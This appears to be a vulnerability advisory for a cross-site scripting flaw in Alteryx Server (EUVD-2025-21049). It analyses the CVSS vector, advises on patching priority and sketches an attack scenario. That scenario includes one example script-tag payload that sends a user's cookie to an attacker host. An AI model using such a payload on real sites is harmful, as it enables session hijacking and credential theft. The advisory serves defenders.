Alteryx Server EUVD-2025-21049

CVSS 8.0 with CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C indicates network attack vector (high accessibility), medium-to-high attack complexity (AC:H suggests some user interaction or specific conditions required), no privilege requirement, and changed scope with high confidentiality/integrity impact. The AC:H and UI:R requirements lower real-world exploitation probability slightly—the attack requires user interaction and possibly specific technical conditions. Without disclosed EPSS, KEV, or POC data, we assess this as moderate-to-high priority: high CVSS suggests significant impact if exploited, but the AC:H and UI:R factors suggest it is not trivial to weaponize at scale. Organizations with high user adoption of Alteryx Server pages should prioritize patching; isolated or internal deployments face lower risk.

An unauthenticated attacker crafts a malicious URL or shares a manipulated Alteryx Server page link containing embedded JavaScript (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) injected into a pages component parameter. When an authenticated Alteryx user clicks the link or visits the page, the injected script executes in their browser context, allowing the attacker to: steal session cookies/tokens, perform actions on behalf of the user, redirect to a phishing site, or harvest credentials. The AC:H factor suggests the attacker may need to craft the payload carefully or exploit a specific interaction pattern, but once successful, the changed scope (S:C) means the impact extends beyond the vulnerable component to the entire Alteryx environment and potentially integrated systems.